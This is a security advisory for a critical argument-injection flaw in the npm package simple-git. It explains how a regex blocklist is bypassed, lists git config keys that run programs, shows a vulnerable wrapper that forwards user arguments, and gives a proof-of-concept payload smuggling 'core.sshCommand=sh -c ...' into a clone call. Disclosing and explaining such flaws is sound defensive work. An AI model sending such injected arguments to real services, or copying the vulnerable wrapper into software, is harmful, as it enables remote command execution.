simple-git RCE: Bypassing the Blocklist via core.sshCommand Injection
Overview
| Report | GHSA-p488-6wq4-vh78 (not publicly accessible) |
| Upstream release | simple-git 3.33.0 release notes |
| Package | simple-git (npm) |
| Affected | Applications that pass attacker-controlled values into simple-git's custom argument surface |
| Fixed | simple-git 3.33.0 |
| Class | CWE-88 (Argument Injection) |
| CVSS v3.1 | 9.8 (Critical) -- AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Found by | Lukas Johannes Moeller (@JohannesLks) |
TL;DR
The unsafe input is not the repository URL by itself; it is attacker control over arguments that simple-git forwards to git. The existing blocklist caught a few historic vectors, but Git has many configuration keys that execute programs. Passing -c core.sshCommand=... into a clone or fetch job gives command execution before the network operation fails.
Root Cause
blockUnsafeOperationsPlugin tried to make a dangerous API safe by rejecting known-bad patterns. The check focused on protocol overrides:
if (!/^\s*protocol(.[a-z]+)?\.allow/i.test(next)) {
return; // not a protocol.allow override
}
That is the wrong trust boundary. git -c is not a data-only interface. It can set executable configuration:
| Config | Execution point |
|---|---|
core.sshCommand |
Runs for SSH transports during clone/fetch/push |
core.gitProxy |
Runs for git:// transports |
core.hooksPath |
Controls hook execution for repository operations |
diff.external |
Runs for diff operations |
A denylist has to know every current and future executable git option. A safe design has to avoid forwarding attacker-controlled option vectors in the first place.
Trigger
A typical vulnerable wrapper accepts JSON and maps it directly into simple-git's optional args:
const simpleGit = require('simple-git');
const job = JSON.parse(req.body);
await simpleGit().clone(job.repo, job.dir, job.args || []);
Attacker-controlled job:
{
"repo": "git@target-host:company/app.git",
"dir": "/tmp/cloned",
"args": ["-c", "core.sshCommand=sh -c 'id > /tmp/pwned'"]
}
The SSH command executes as part of Git's transport setup. The clone can still fail; the command has already run.
Impact
- Remote command execution in services that expose clone/fetch/pull/push/raw jobs with attacker-controlled custom args.
- Full confidentiality, integrity, and availability impact for the application account running the Git operation.
- Applications that never expose custom args to untrusted users are not affected by this exploit path.
Fix
simple-git 3.33.0 changes the handling of user-controlled path and remote inputs so they are not interpreted as options. The practical guidance for consumers is stricter than "upgrade": do not expose raw Git argument vectors as an API feature. Use explicit allowlists for business-level options, and map those to fixed Git invocations server-side.
npm install simple-git@latest